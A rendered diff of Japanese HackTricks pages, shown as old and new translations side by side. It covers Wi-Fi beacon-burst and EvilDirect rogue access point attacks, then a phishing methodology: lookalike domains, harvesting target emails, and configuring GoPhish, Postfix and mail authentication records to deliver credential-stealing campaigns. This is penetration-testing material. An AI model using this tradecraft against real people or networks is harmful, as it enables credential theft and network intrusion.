**既知のビーコンバースト攻撃**には、**ファイルにリストされた各ESSIDのビーコンフレームを高速でブロードキャストする**という手法が含まれます。これにより、偽のネットワークの密集環境が作成され、特にMANA攻撃と組み合わせると、デバイスがローグAPに接続する可能性が大幅に高まります。この技術は、速度とボリュームを活用して、デバイスのネットワーク選択メカニズムを圧倒します。 **Known Beacon Burst attack**は、**ファイルにリストされた各ESSIDのためにビーコンフレームを迅速に放送すること**を含みます。これにより、偽のネットワークの密集した環境が作成され、特にMANA攻撃と組み合わせることで、デバイスが悪意のあるAPに接続する可能性が大幅に高まります。この技術は、デバイスのネットワーク選択メカニズムを圧倒するために、速度とボリュームを活用します。
```bash ```bash
# transmit a burst of 5 forged beacon packets for each entry in list # transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \ ./forge-beacons -i wlan1 \
@ -705,60 +702,61 @@ Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のす
``` ```
## Wi-Fi Direct ## Wi-Fi Direct
**Wi-Fi Direct**は、従来の無線アクセスポイントを必要とせずに、Wi-Fiを使用してデバイス同士が直接リンクするためのプロトコルです。この機能は、プリンターやテレビなどのさまざまなインターネット・オブ・シングス(IoTデバイスに統合されており、デバイス間の直接通信を容易にします。Wi-Fi Directの注目すべき特徴の1つは、1つのデバイスが接続を管理するためのアクセスポイントであるグループオーナーの役割を担うことです。 **Wi-Fi Direct**は、従来の無線アクセスポイントを必要とせずに、デバイスがWi-Fiを使用して直接接続できるプロトコルです。この機能は、プリンターやテレビなどのさまざまなIoTデバイスに統合されており、デバイス間の直接通信を容易にします。Wi-Fi Directの注目すべき特徴は、1つのデバイスが接続を管理するアクセスポイントの役割を担うことで、これをグループオーナーと呼びます。
Wi-Fi Direct接続のセキュリティは、**Wi-Fi Protected SetupWPS**を介して確立されます。これには、次のような安全なペアリングのためのいくつかの方法がサポートされています。 Wi-Fi Direct接続のセキュリティは、**Wi-Fi Protected Setup (WPS)**を通じて確立されており、セキュアなペアリングのためのいくつかの方法をサポートしています。これには以下が含まれます:
- **Push-Button ConfigurationPBC** * **プッシュボタン設定 (PBC)**
- **PIN入力** * **PIN入力**
- **近距離無線通信NFC** * **近距離無線通信 (NFC)**
これらの方法、特にPIN入力は、従来のWi-FiネットワークのWPSと同様の脆弱性に対して脆弱であり、同様の攻撃ベクトルの標的となります。 これらの方法、特にPIN入力は、従来のWi-FiネットワークにおけるWPSと同様の脆弱性にさらされており、同様の攻撃ベクターの標的となります。
### EvilDirect Hijacking ### EvilDirect Hijacking
**EvilDirect Hijacking**は、Wi-Fi Directに特有の攻撃です。これはEvil Twin攻撃の概念を反映しており、Wi-Fi Direct接続を標的としています。このシナリオでは、攻撃者が正当なグループオーナーをなりすまし、デバイスを悪意のあるエンティティに接続させることを目的としています。この方法は、`airbase-ng`などのツールを使用して、なりすまされたデバイスのチャンネル、ESSID、およびMACアドレスを指定することで実行できます。 **EvilDirect Hijacking**は、Wi-Fi Directに特有の攻撃です。これはEvil Twin攻撃の概念を反映していますが、Wi-Fi Direct接続をターゲットにしています。このシナリオでは、攻撃者が正当なグループオーナーを偽装し、デバイスを悪意のあるエンティティに接続させることを目的としています。この方法は、`airbase-ng`のようなツールを使用して、偽装されたデバイスのチャネル、ESSID、およびMACアドレスを指定することで実行できます。
## 参考文献 ## References
- [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee) * [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
- [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9) * [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
- [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38) * [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38)
- [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d) * [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d)
- [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf) * [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf)
- [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/) * [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) * [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
- [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d) * [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\)) * [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-\(Offline-WPS-Attack\))
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/) * [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher)をチェックしてくださいFacebookログインとキャプティブポータルでのWPAの模倣) TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher)を確認してくださいFacebookでログインし、キャプティブポータルでWPAを模倣)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう 経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください
**ハッキングの洞察**\ **Hacking Insights**\
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
**リアルタイムのハックニュース**\ **Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保ちましょう リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握してください
**最新のアナウンスメント**\ **Latest Announcements**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう 新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を入手してください
[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーと協力を始めましょう! 今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、トップハッカーとコラボレーションを始めましょう!
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。
- **HackTricksで企業を宣伝**したい場合や、**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、ハッキングのトリックを共有してください。
- [**公式PEASSHackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけましょう
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしましょう
- ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
</details> </details>
{% endhint %}

View file

@ -1,101 +1,102 @@
# フィッシング手法 # フィッシング手法
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
- **Discordグループ**に参加する 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) または [**telegram group**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローする。
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
</details> </details>
{% endhint %}
## 手法 ## 手法
1. ターゲットを調査する 1. 被害者をリコン
2. **ターゲットドメイン**を選択する 1. **被害者のドメイン**を選択します
3. ターゲットが使用しているログインポータルを検索し、**なりすます** ためにどれを **選択するかを決定**するために基本的なWeb列挙を実行する 2. 被害者が使用している**ログインポータル**を探すために基本的なウェブ列挙を行い、**なりすます**ポータルを**決定**します
4. いくつかの **OSINT** を使用して **メールアドレスを見つける**。 3. **OSINT**を使用して**メールアドレス**を**見つけます**。
5. 環境を準備する 2. 環境を準備する
6. フィッシングアセスメントに使用するドメインを**購入**する 1. フィッシング評価に使用する**ドメインを購入**します。
7. 関連するレコードSPF、DMARC、DKIM、rDNSを **設定する** 2. 関連するメールサービスのレコードを**設定**しますSPF、DMARC、DKIM、rDNS
8. **gophish**を使用してVPSを構成する 3. **gophish**でVPSを設定します。
9. キャンペーンを準備する 3. キャンペーンを準備する
10. **メールテンプレート**を準備する 1. **メールテンプレート**を準備します。
11. 資格情報を盗むための **Webページ**を準備する 2. 認証情報を盗むための**ウェブページ**を準備します。
12. キャンペーンを開始する 4. キャンペーンを開始します
## 類似のドメイン名を生成するか信頼できるドメインを購入する ## 類似のドメイン名を生成するか信頼できるドメインを購入する
### ドメイン名の変更手法 ### ドメイン名のバリエーション技術
- **キーワード**: オリジナルドメインの重要な **キーワードを含む** ドメイン名zelster.com-management.com * **キーワード**:ドメイン名に元のドメインの重要な**キーワード**が**含まれています**zelster.com-management.com
- **ハイフン付きサブドメイン**: サブドメインの **ドットをハイフンに変更** するwww-zelster.com * **ハイフン付きサブドメイン**:サブドメインの**ドットをハイフンに変更**しますwww-zelster.com
- **新しいTLD**: 同じドメインを **新しいTLD** を使用してzelster.org * **新しいTLD**:同じドメインを使用して**新しいTLD**を使用しますzelster.org
- **ホモグリフ**: ドメイン名の文字を **似ている文字で置き換える**zelfser.com * **ホモグリフ**:ドメイン名の文字を**似たような文字に置き換えます**zelfser.com
- **転置**: ドメイン名内の2つの文字を **入れ替える**zelsetr.com * **転置**:ドメイン名内の**2つの文字を入れ替えます**zelsetr.com
- **単数形/複数形**: ドメイン名の末尾に「s」を追加または削除すzeltsers.com * **単数化/複数化**ドメイン名の末尾に「s」を追加または削除しまzeltsers.com
- **省略**: ドメイン名から1つの文字を **削除する**zelser.com * **省略**:ドメイン名から**1つの文字を削除します**zelser.com
- **繰り返し**: ドメイン名内の1つの文字を **繰り返す**zeltsser.com * **繰り返し**:ドメイン名の**1つの文字を繰り返します**zeltsser.com
- **置換**: ホモグリフと同様ですが、より控えめです。ドメイン名の1つの文字を置き換え、おそらくキーボード上で元の文字に近い位置の文字で置き換えますzektser.com * **置換**ホモグリフのようですが、あまりステルスではありません。ドメイン名の1つの文字を、元の文字の近くにあるキーボードの文字で置き換えますzektser.com
- **サブドメイン**: ドメイン名内に **ドット** を挿入するze.lster.com * **サブドメイン化**:ドメイン名内に**ドットを挿入します**ze.lster.com
- **挿入**: ドメイン名に1つの文字を **挿入する**zerltser.com * **挿入**:ドメイン名に**文字を挿入します**zerltser.com
- **ドットの欠落**: ドメイン名にTLDを追加するzelstercom.com * **ドットの欠落**TLDをドメイン名に追加しますzelstercom.com
**自動ツール** **自動ツール**
- [**dnstwist**](https://github.com/elceef/dnstwist) * [**dnstwist**](https://github.com/elceef/dnstwist)
- [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) * [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
**ウェブサイト** **ウェブサイト**
- [https://dnstwist.it/](https://dnstwist.it) * [https://dnstwist.it/](https://dnstwist.it)
- [https://dnstwister.report/](https://dnstwister.report) * [https://dnstwister.report/](https://dnstwister.report)
- [https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/](https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/) * [https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/](https://www.internetmarketingninjas.com/tools/free-tools/domain-typo-generator/)
### ビットフリッ ### ビットフリッピング
**太陽フレア、宇宙線、ハードウェアエラー**などのさまざまな要因により、 **保存されたビットのいくつかが自動的に反転** される可能性があります 保存または通信中のビットの1つが、太陽フレア、宇宙線、またはハードウェアエラーなどのさまざまな要因により**自動的に反転する可能性があります**
この概念**DNSリクエストに適用** すると、DNSサーバーが受信したドメインが最初に要求されたドメインと異なる可能性があります。 この概念が**DNSリクエストに適用されると**、**DNSサーバーによって受信されたドメイン**が、最初にリクエストされたドメインと同じでない可能性があります。
たとえば、ドメイン「windows.com」の1ビットの変更で「windnws.com」に変更される可能性があります。 例えば、ドメイン「windows.com」の1ビットの変更により、「windnws.com」に変わることがあります。
攻撃者は、被害者のドメインに類似した **複数のビットフリップドメインを登録** し、合法的なユーザーを自分のインフラストラクチャにリダイレクトすることを意図しています。 攻撃者は、被害者のドメインに似た複数のビットフリッピングドメインを登録することで**これを利用する可能性があります**。彼らの意図は、正当なユーザーを自分たちのインフラにリダイレクトすることです。
詳細については、[https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)を参照してください 詳細については、[こちらを読んでください](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)。
### 信頼できるドメインを購入する ### 信頼できるドメインを購入する
[https://www.expireddomains.net/](https://www.expireddomains.net) で使用できる期限切れドメインを検索できます。\ [https://www.expireddomains.net/](https://www.expireddomains.net)で使用できる期限切れドメインを検索できます。\
購入する期限切れドメインが **既にSEOが良い** かどうかを確認するには、次のカテゴリーにどのように分類されているかを調べることができます: 購入する期限切れのドメインが**すでに良好なSEOを持っていることを確認するために**、以下のサイトでそのカテゴリを検索できます:
- [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter) * [http://www.fortiguard.com/webfilter](http://www.fortiguard.com/webfilter)
- [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/) * [https://urlfiltering.paloaltonetworks.com/query/](https://urlfiltering.paloaltonetworks.com/query/)
## メールアドレスの発見 ## メールの発見
- [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester)100%無料) * [https://github.com/laramies/theHarvester](https://github.com/laramies/theHarvester)100%無料)
- [https://phonebook.cz/](https://phonebook.cz)100%無料) * [https://phonebook.cz/](https://phonebook.cz)100%無料)
- [https://maildb.io/](https://maildb.io) * [https://maildb.io/](https://maildb.io)
- [https://hunter.io/](https://hunter.io) * [https://hunter.io/](https://hunter.io)
- [https://anymailfinder.com/](https://anymailfinder.com) * [https://anymailfinder.com/](https://anymailfinder.com)
より多くの有効なメールアドレスを **発見** するか、すでに発見したメールアドレスを **検証** するために、被害者のsmtpサーバーをブルートフォースできるかどうかを確認できます。[ここでメールアドレスを検証/発見する方法を学ぶ](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration)。\ **より多くの**有効なメールアドレスを**発見するか、すでに発見したものを**確認するために、被害者のSMTPサーバーをブルートフォースできるか確認できます。[メールアドレスの確認/発見方法についてはこちらを学んでください](../../network-services-pentesting/pentesting-smtp/#username-bruteforce-enumeration)。\
さらに、ユーザーが **メールにアクセスするためにWebポータルを使用** している場合は、それが **ユーザー名ブルートフォース** に対して脆弱かどうかを確認し、可能であれば脆弱性を悪用できます さらに、ユーザーが**メールにアクセスするためのウェブポータルを使用している場合**、それが**ユーザー名のブルートフォース**に対して脆弱であるかどうかを確認し、可能であればその脆弱性を悪用することを忘れないでください
## GoPhishの設定 ## GoPhishの設定
### インストール ### インストール
[https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) からダウンロードできます。 [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0)からダウンロードできます。
ダウンロードして `/opt/gophish` 内に解凍し、 `/opt/gophish/gophish` を実行します。\ `/opt/gophish`内にダウンロードして解凍し、`/opt/gophish/gophish`を実行します。\
出力には、ポート3333の管理ユーザーのパスワードが表示されます。したがって、そのポートにアクセスし、その資格情報を使用して管理者パスワードを変更します。そのポートをローカルにトンネリングする必要がある場合があります 出力にポート3333の管理ユーザーのパスワードが表示されます。したがって、そのポートにアクセスし、その資格情報を使用して管理者パスワードを変更します。そのポートをローカルにトンネルする必要があるかもしれません
```bash ```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip> ssh -L 3333:127.0.0.1:3333 <user>@<ip>
``` ```
@ -103,7 +104,7 @@ ssh -L 3333:127.0.0.1:3333 <user>@<ip>
**TLS証明書の設定** **TLS証明書の設定**
この手順の前に、使用するドメインを**すでに購入**しておく必要があり、そのドメインが**gophish**を設定している**VPSのIP**を**指している**必要があります。 このステップの前に、使用するドメインを**すでに購入している**必要があり、**gophish**を設定している**VPSのIP**に**ポイント**している必要があります。
```bash ```bash
DOMAIN="<domain>" DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto wget https://dl.eff.org/certbot-auto
@ -119,34 +120,34 @@ mkdir /opt/gophish/ssl_keys
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt
``` ```
**メール構成** **メール設定**
インストールを開始します`apt-get install postfix` インストールを開始します: `apt-get install postfix`
次に、次のファイルにドメインを追加します: 次に、ドメインを以下のファイルに追加します:
* **/etc/postfix/virtual\_domains** * **/etc/postfix/virtual\_domains**
* **/etc/postfix/transport** * **/etc/postfix/transport**
* **/etc/postfix/virtual\_regexp** * **/etc/postfix/virtual\_regexp**
**また、/etc/postfix/main.cf内の次の変数の値を変更します** **/etc/postfix/main.cf内の以下の変数の値も変更します**
`myhostname = <domain>`\ `myhostname = <domain>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost` `mydestination = $myhostname, <domain>, localhost.com, localhost`
最後に、ファイル **`/etc/hostname`** と **`/etc/mailname`** をドメイン名に変更し、**VPSを再起動します。** 最後に、ファイル **`/etc/hostname`** と **`/etc/mailname`** をあなたのドメイン名に変更し、**VPSを再起動します。**
次に、`mail.<domain>`の**IPアドレス**を指す**DNS Aレコード**と、`mail.<domain>`を指す**DNS MX**レコードを作成します。 次に、**DNS Aレコード** `mail.<domain>` をVPSの**IPアドレス**にポイントさせ、**DNS MX**レコードを `mail.<domain>` にポイントさせます。
さて、メールを送信するテストを行いましょう: では、メールを送信するテストを行いましょう:
```bash ```bash
apt install mailutils apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
``` ```
**Gophishの設定** **Gophishの設定**
Gophishの実行を停止し、設定を行いましょう。\ gophishの実行を停止し、設定を行いましょう。\
`/opt/gophish/config.json`を以下のように変更してくださいhttpsの使用に注意: `/opt/gophish/config.json`を以下のように変更しますhttpsの使用に注意
```bash ```bash
{ {
"admin_server": { "admin_server": {
@ -173,7 +174,7 @@ Gophishの実行を停止し、設定を行いましょう。\
``` ```
**gophishサービスの設定** **gophishサービスの設定**
gophishサービスを作成して自動的に起動および管理できるようにするために、次の内容でファイル`/etc/init.d/gophish`を作成します: gophishサービスを作成し、自動的に起動し、サービスとして管理できるようにするには、次の内容でファイル`/etc/init.d/gophish`を作成します:
```bash ```bash
#!/bin/bash #!/bin/bash
# /etc/init.d/gophish # /etc/init.d/gophish
@ -220,7 +221,7 @@ case $1 in
start|stop|status) "$1" ;; start|stop|status) "$1" ;;
esac esac
``` ```
サービスの設定を完了し、次の手順を実行して確認します: サービスの設定を完了し、次の操作を行って確認します:
```bash ```bash
mkdir /var/log/gophish mkdir /var/log/gophish
chmod +x /etc/init.d/gophish chmod +x /etc/init.d/gophish
@ -233,11 +234,11 @@ service gophish stop
``` ```
## メールサーバーとドメインの設定 ## メールサーバーとドメインの設定
### 待つ & レジットになる ### 待機して正当性を保
ドメインが古いほど、スパムとして検出される可能性が低くなります。そのため、フィッシングアセスメントを行う前にできるだけ長い時間少なくとも1週間待つべきです。さらに、信頼性の高いセクターに関するページを設置すれば、得られる評判もより良くなります。 ドメインが古いほど、スパムとして捕まる可能性は低くなります。そのため、フィッシング評価の前にできるだけ長く少なくとも1週間待つべきです。さらに、評判の良い分野に関するページを作成すれば、得られる評判はより良くなります。
1週間待たなければならないとしても、今すぐすべてを設定することができます。 1週間待たなければならない場合でも、今すぐにすべての設定を終えることができます。
### 逆引きDNSrDNSレコードの設定 ### 逆引きDNSrDNSレコードの設定
@ -245,29 +246,29 @@ VPSのIPアドレスをドメイン名に解決するrDNSPTRレコード
### 送信者ポリシーフレームワークSPFレコード ### 送信者ポリシーフレームワークSPFレコード
新しいドメインに**SPFレコードを設定する必要があります**。SPFレコードが何かわからない場合は、[**このページ**](../../network-services-pentesting/pentesting-smtp/#spf)を参照してください 新しいドメインのために**SPFレコードを設定する必要があります**。SPFレコードが何か分からない場合は、[**このページを読んでください**](../../network-services-pentesting/pentesting-smtp/#spf)。
[https://www.spfwizard.net/](https://www.spfwizard.net)を使用して、SPFポリシーを生成できますVPSマシンのIPを使用してください [https://www.spfwizard.net/](https://www.spfwizard.net)を使用して、SPFポリシーを生成できますVPSマシンのIPを使用してください
![](<../../.gitbook/assets/image (1037).png>) ![](<../../.gitbook/assets/image (1037).png>)
これは、ドメイン内のTXTレコードに設定する必要がある内容です これは、ドメイン内のTXTレコードに設定する必要がある内容です
```bash ```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all v=spf1 mx a ip4:ip.ip.ip.ip ?all
``` ```
### ドメインベースのメッセージ認証、レポート、遵守DMARCレコード ### ドメインベースのメッセージ認証、報告および適合性 (DMARC) レコード
新しいドメインに**DMARCレコードを設定する必要があります**。DMARCレコードが何かからない場合は、[**このページを読んでください**](../../network-services-pentesting/pentesting-smtp/#dmarc)。 新しいドメインのために**DMARCレコードを設定する必要があります**。DMARCレコードが何かからない場合は、[**このページを読んでください**](../../network-services-pentesting/pentesting-smtp/#dmarc)。
次の内容でホスト名 `_dmarc.<domain>` を指す新しいDNS TXTレコードを作成する必要があります 次の内容でホスト名 `_dmarc.<domain>` を指す新しいDNS TXTレコードを作成する必要があります:
```bash ```bash
v=DMARC1; p=none v=DMARC1; p=none
``` ```
### DomainKeys Identified Mail (DKIM) ### DomainKeys Identified Mail (DKIM)
新しいドメインにDKIMを**設定する必要があります**。DMARCレコードが何かわからない場合は、[**このページ**](../../network-services-pentesting/pentesting-smtp/#dkim)を読んでください 新しいドメインのため**DKIMを設定する必要があります**。DMARCレコードが何か分からない場合は、[**このページを読んでください**](../../network-services-pentesting/pentesting-smtp/#dkim)。
このチュートリアルは次に基づいています: [https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy) このチュートリアルは、[https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy](https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy)に基づいています。
{% hint style="info" %} {% hint style="info" %}
DKIMキーが生成する両方のB64値を連結する必要があります: DKIMキーが生成する両方のB64値を連結する必要があります:
@ -276,14 +277,14 @@ v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqP
``` ```
{% endhint %} {% endhint %}
### メール構成スコアをテストする ### メール設定スコアをテストする
[https://www.mail-tester.com/](https://www.mail-tester.com)を使用してテストできます。\ [https://www.mail-tester.com/](https://www.mail-tester.com)を使用して行うことができます。\
